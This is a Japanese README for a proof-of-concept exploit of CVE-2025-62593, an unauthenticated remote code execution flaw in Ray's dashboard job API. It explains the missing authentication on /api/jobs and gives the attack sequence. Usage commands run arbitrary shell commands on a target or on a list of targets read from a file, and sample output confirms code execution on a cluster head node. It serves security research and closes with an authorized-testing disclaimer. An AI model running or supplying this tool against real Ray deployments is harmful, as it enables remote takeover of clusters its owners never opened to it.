
CVE-2025-62593 の PoC: Ray における未認証 RCE (CISA KEV)。標準ライブラリのみの Python。
CVE-2025-62593 の概念実証(PoC)です。これは、Ray 分散AIコンピュートエンジンにおける認証なしリモートコード実行の脆弱性で、ブラウザベースのDNSリバインディング攻撃を介して悪用されます。CISA Known Exploited Vulnerabilities(KEV)カタログに追加され、現在も活発に悪用されています。
根本原因は、Rayチームが /api/jobs や /api/job_agent/jobs などの重要なHTTPエンドポイントで認証を行わないという長年にわたる設計上の判断にあります。そのため、認証されていないリモート攻撃者は、エントリポイントが任意のコマンドであるRayジョブを送信でき、それがクラスタのヘッドノード上で実行されるため、完全なリモートコード実行に至ります。
このPoCはRay DashboardのHTTP APIに直接アクセスし(根本的なバグを示すためにブラウザ/DNSリバインディングは不要)、ジョブログからコマンド出力を取得します。
entrypoint を含む POST /api/jobs/ を送信します。GET /api/jobs/ をポーリングします。GET /api/jobs/<submission_id>/logs を読み取り、コマンド出力を表示します。# Single target
python3 ray_rce_poc.py --target http://HOST:8265
# Custom command
python3 ray_rce_poc.py --target http://HOST:8265 --command "id; uname -a"
# Multiple targets from a file (one per line, '#' = comment)
python3 ray_rce_poc.py --targets targets.txt --command id
# Write a JSON summary
python3 ray_rce_poc.py --target http://HOST:8265 --output out.json
# Help
python3 ray_rce_poc.py --help
Python 3標準ライブラリのみで動作します — サードパーティの依存関係は不要です。
$ python3 ray_rce_poc.py --target http://localhost:8265 --command "id; hostname"
== http://localhost:8265
Running entrypoint for job raysubmit_XXX: python -c "import os,os.path; ..."
uid=1000(ray) gid=100(users) groups=100(users),27(sudo)
05cdb1bea437
=> PASS (RCE confirmed, status: SUCCEEDED, exit code: 0)
セキュリティ研究および認可されたテストのみを目的としています。所有しているシステム、またはテストの明示的な許可を得たシステムに対してのみ使用してください。作者は悪用に対して一切責任を負いません。